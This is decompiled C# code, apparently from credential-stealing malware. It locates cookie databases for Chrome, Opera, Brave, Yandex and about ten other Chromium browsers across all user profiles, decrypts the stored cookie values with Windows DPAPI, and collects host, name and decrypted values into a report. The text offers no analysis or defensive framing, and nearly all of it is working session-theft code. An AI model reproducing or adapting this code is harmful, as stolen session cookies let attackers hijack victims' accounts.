// Token: 0x06000097 RID: 151 RVA: 0x00006E8C File Offset: 0x0000508C private static string Decrypt(byte[] Datas) { string result; try { ChromiumCookies.DATA_BLOB data_BLOB = default(ChromiumCookies.DATA_BLOB); ChromiumCookies.DATA_BLOB data_BLOB2 = default(ChromiumCookies.DATA_BLOB); GCHandle gchandle = GCHandle.Alloc(Datas, GCHandleType.Pinned); ChromiumCookies.DATA_BLOB data_BLOB3; data_BLOB3.pbData = gchandle.AddrOfPinnedObject(); data_BLOB3.cbData = Datas.Length; gchandle.Free(); ChromiumCookies.CRYPTPROTECT_PROMPTSTRUCT cryptprotect_PROMPTSTRUCT = default(ChromiumCookies.CRYPTPROTECT_PROMPTSTRUCT); string empty = string.Empty; ChromiumCookies.CryptUnprotectData(ref data_BLOB3, null, ref data_BLOB2, (IntPtr)0, ref cryptprotect_PROMPTSTRUCT, (ChromiumCookies.CryptProtectFlags) 0, ref data_BLOB); byte[] array = new byte[data_BLOB.cbData + 1]; Marshal.Copy(data_BLOB.pbData, array, 0, data_BLOB.cbData); string @string = Encoding.UTF8.GetString(array); result = @string.Substring(0, @string.Length - 1); } catch { result = ""; } return(result); }
// Token: 0x06000096 RID: 150 RVA: 0x00006CCC File Offset: 0x00004ECC public static List <ChromiumCookies.ChromiumCookie> Cookies(string FileCookie) { List <ChromiumCookies.ChromiumCookie> data = new List <ChromiumCookies.ChromiumCookie>(); SQLiteHandler sql = new SQLiteHandler(FileCookie); int totalEntries = sql.GetRowCount(); for (int i = 0; i < totalEntries; i++) { try { string h = sql.GetValue(i, "host_key"); string name = sql.GetValue(i, "name"); string encval = sql.GetValue(i, "encrypted_value"); string val = ChromiumCookies.Decrypt(Encoding.Default.GetBytes(encval)); string valu = sql.GetValue(i, "value"); string path = sql.GetValue(i, "path"); bool secure = !(sql.GetValue(i, "is_secure") == "0"); bool http = !(sql.GetValue(i, "is_httponly") == "0"); long expiryTime = long.Parse(sql.GetValue(i, "expires_utc")); long currentTime = ChromiumCookies.ToUnixTime(DateTime.Now); long convertedTime = (expiryTime - 11644473600000000L) / 1000000L; DateTime date = new DateTime(1970, 1, 1, 0, 0, 0, 0); date = date.AddSeconds((double)convertedTime); DateTime exp = ChromiumCookies.FromUnixTime(convertedTime); bool expired = currentTime > convertedTime; data.Add(new ChromiumCookies.ChromiumCookie { Host = h, ExpiresUTC = exp, Expired = expired, Name = name, EncValue = val, Value = valu, Path = path, Secure = secure, HttpOnly = http }); } catch (Exception) { return(data); } } return(data); }
// Token: 0x0600008D RID: 141 RVA: 0x00006420 File Offset: 0x00004620 public void CookiesRecovery(StringBuilder Coocks) { try { foreach (string str in GetAppDataFolders()) { try { string[] browser = new string[] { str + "\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", str + "\\Roaming\\Opera Software\\Opera Stable\\Cookies", str + "\\Local\\Vivaldi\\User Data\\Default\\Cookies", str + "\\Local\\Chromium\\User Data\\Default\\Cookies", str + "\\Local\\Torch\\User Data\\Default\\Cookies", str + "\\Local\\Comodo\\Dragon\\User Data\\Default\\Cookies", str + "\\Local\\Xpom\\User Data\\Default\\Cookies", str + "\\Local\\Orbitum\\User Data\\Default\\Cookies", str + "\\Local\\Kometa\\User Data\\Default\\Cookies", str + "\\Local\\Amigo\\User Data\\Default\\Cookies", str + "\\Local\\Nichrome\\User Data\\Default\\Cookies", str + "\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies", str + "\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies", str + "\\Local\\Blisk\\User Data\\Default\\Cookies" }; int selected = 0; foreach (string b in browser) { bool flag = File.Exists(b); if (flag) { SQLiteHandler sqliteHandler = new SQLiteHandler(b); try { sqliteHandler.ReadTable("cookies"); } catch { } switch (selected) { case 0: Coocks.Append("\rtf1\ansi\n\n== Chrome ==========\b0\n"); break; case 1: Coocks.Append("\n== Opera ===========\n"); break; case 2: Coocks.Append("\n== Vivaldi ===========\n"); break; case 3: Coocks.Append("\n== Chromium ===========\n"); break; case 4: Coocks.Append("\n== Torch ===========\n"); break; case 5: Coocks.Append("\n== Comodo ===========\n"); break; case 6: Coocks.Append("\n== Xpom ===========\n"); break; case 7: Coocks.Append("\n== Orbitum ===========\n"); break; case 8: Coocks.Append("\n== Kometa ===========\n"); break; case 9: Coocks.Append("\n== Amigo ===========\n"); break; case 10: Coocks.Append("\n== Nichrome ===========\n"); break; case 11: Coocks.Append("\n== Brave ===========\n"); break; case 12: Coocks.Append("\n== Yandex ===========\n"); break; } List <ChromiumCookies.ChromiumCookie> ffcs = ChromiumCookies.Cookies(b); foreach (ChromiumCookies.ChromiumCookie fcc in ffcs) { Coocks.Append(string.Concat(new string[] { fcc.ToString(), "\n\n" })); } Coocks.Append("\n"); } selected++; } } catch (Exception) { } } } catch { } }